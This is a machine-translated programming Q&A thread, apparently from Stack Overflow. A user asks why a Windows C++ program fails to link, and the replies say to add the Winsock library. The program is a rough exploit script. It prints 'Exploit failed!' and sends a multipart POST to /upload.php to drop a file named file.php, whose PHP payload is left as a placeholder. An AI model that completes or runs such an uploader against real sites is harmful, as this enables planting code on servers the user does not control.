2013-07-01 49 views
-3

我试着请编译这个简单的应用:编译简单的应用程序给错误

#include <winsock2.h> 
#include <iostream.h> 
#include <string.h> 

using namespace std; 
unsigned long WinsockStart() 

{ 

WSADATA wsa; 
unsigned long ULONG; 
struct hostent *target; 

if(WSAStartup(MAKEWORD(2,2), &wsa) < 0) 
{ 
cout << "Exploit failed!" << endl; 

WSACleanup(); 
return 1; 
} 

if((target=gethostbyname("www.website.com/script.php"))<0) 
{ 
cout << "That is not a valid host bro!" << endl; 

WSACleanup(); 
return 2; 
} 

ULONG = *(unsigned long*) target->h_addr; 
return ULONG; 
} 

void error_exit(string text) 
{ 
cout << text; 
WSACleanup(); 
exit(EXIT_FAILURE); 
} 

int main() 
{ 
SOCKET sock; 
struct sockaddr_in addr; 
unsigned long win=0; 
int con = 0, gr=0, send_r=0, rec=0; 
char header[2048], buffer[2018]; 
string to_send="Paste the php script hire"; 
string name ="file.php"; 

win=WinsockStart(); 
if(win==1||win==2) 
error_exit("failed!"); 

addr.sin_family=AF_INET; 
addr.sin_port=htons(80); 
addr.sin_addr.s_addr = win; 

sock = socket(AF_INET, SOCK_STREAM, 0); 

if(sock<0) 
error_exit("failed!"); 

gr = (to_send.size()+name.size()+287); 

sprintf(header, "POST /upload.php HTTP/1.1\r\n"); 
sprintf(header, "%sHost: www.website.com/script.php\r\n", header); 
sprintf(header, "%sConnection: Keep-Alive\r\n", header); 
sprintf(header, "%sContent-Type: multipart/form-data; boundary=---------------------------90721038027008\r\n", header); 
sprintf(header, "%sContent-Length: %d\r\n", header, gr); 
sprintf(header, "%s\r\n", header); 
sprintf(header, "%s-----------------------------90721038027008\r\n", header); 
sprintf(header, "%sContent-Disposition: form-data; name=\"images\"; filename=\"%s\"\r\n", header, name.c_str()); 
sprintf(header, "%sContent-Type: text/plain\r\n", header); 
sprintf(header, "%s\r\n", header); 
sprintf(header, "%s%s\r\n", header, to_send.c_str()); 
sprintf(header, "%s-----------------------------90721038027008\r\n", header); 
sprintf(header, "%sContent-Disposition: form-data; name=\"post\"\r\n", header); 
sprintf(header, "%s\r\n", header); 
sprintf(header, "%supload\r\n\r\n", header); 
sprintf(header, "%s-----------------------------90721038027008--\r\n\r\n\0", header);  

con = connect(sock, (SOCKADDR*)&addr, sizeof(addr)); 
if(con < 0) 
error_exit("failed!"); 

if(send_r=send(sock, header, strlen(header), 0)<0) 
error_exit("failed!"); 

while (rec=recv(sock, buffer, 2048, 0)) /* 2048Bytes Usage */ 
{ 
if(rec==0) 
error_exit("Quit it!"); 
printf("%s", buffer); 
} 

closesocket(sock); 
WSACleanup(); 
return EXIT_SUCCESS; 
} 

,并给我这个错误:

Compiler: Default compiler 
Executing g++.exe... 
g++.exe "C:\Users\Lavoro\Desktop\upload.cpp" -o "C:\Users\Lavoro\Desktop\upload.exe" -I"C:\Dev-Cpp\lib\gcc\mingw32\3.4.2\include" -I"C:\Dev-Cpp\include\c++\3.4.2\backward" -I"C:\Dev-Cpp\include\c++\3.4.2\mingw32" -I"C:\Dev-Cpp\include\c++\3.4.2" -I"C:\Dev-Cpp\include" -L"C:\Dev-Cpp\lib" 
In file included from C:/Dev-Cpp/include/c++/3.4.2/backward/iostream.h:31, 
       from C:\Users\Lavoro\Desktop\upload.cpp:2: 
C:/Dev-Cpp/include/c++/3.4.2/backward/backward_warning.h:32:2: warning: #warning This file includes at least one deprecated or antiquated header. Please consider using one of the 32 headers found in section 17.4.1.2 of the C++ standard. Examples include substituting the <X> header for the <X.h> header for C++ includes, or <iostream> instead of the deprecated header <iostream.h>. To disable this warning use -Wno-deprecated. 

C:\Users\Lavoro\AppData\Local\Temp/ccMleaaa.o(.text+0x11b):upload.cpp: undefined reference to `[email protected]' 
C:\Users\Lavoro\AppData\Local\Temp/ccMleaaa.o(.text+0x14b):upload.cpp: undefined reference to `[email protected]' 
C:\Users\Lavoro\AppData\Local\Temp/ccMleaaa.o(.text+0x163):upload.cpp: undefined reference to `[email protected]' 
C:\Users\Lavoro\AppData\Local\Temp/ccMleaaa.o(.text+0x1b2):upload.cpp: undefined reference to `[email protected]' 
C:\Users\Lavoro\AppData\Local\Temp/ccMleaaa.o(.text+0x462):upload.cpp: undefined reference to `[email protected]' 
C:\Users\Lavoro\AppData\Local\Temp/ccMleaaa.o(.text+0x48b):upload.cpp: undefined reference to `[email protected]' 
C:\Users\Lavoro\AppData\Local\Temp/ccMleaaa.o(.text+0x6fc):upload.cpp: undefined reference to `[email protected]' 
C:\Users\Lavoro\AppData\Local\Temp/ccMleaaa.o(.text+0x81c):upload.cpp: undefined reference to `[email protected]' 
C:\Users\Lavoro\AppData\Local\Temp/ccMleaaa.o(.text+0x936):upload.cpp: undefined reference to `[email protected]' 
C:\Users\Lavoro\AppData\Local\Temp/ccMleaaa.o(.text+0xb0e):upload.cpp: undefined reference to `[email protected]' 
C:\Users\Lavoro\AppData\Local\Temp/ccMleaaa.o(.text+0xb16):upload.cpp: undefined reference to `[email protected]' 
collect2: ld returned 1 exit status 

Execution terminated 

问题出在哪里?即时通讯使用开发c + +惠特Windows 7家庭。如果我需要安装任何库,请指定我的库名称需要安装。谢谢大家

+7

为什么要使用GCC 3.4.2(添加在文本框中WS2_32.LIB)? – Fanael

回答

0

您在链接器选项中缺少ws2_32.lib。要做到这一点

转到项目属性 - >链接器 - >输入 - >附加依赖

7

这不是一个编译错误,它是链接器错误。它告诉你它找不到Windows套接字函数,因为你没有链接到wsock32库。

编辑您的项目设置以添加它。

+0

以及如何解决这个问题? – PythonFun

+0

@PythonFun:通过阅读GCC的文档。 –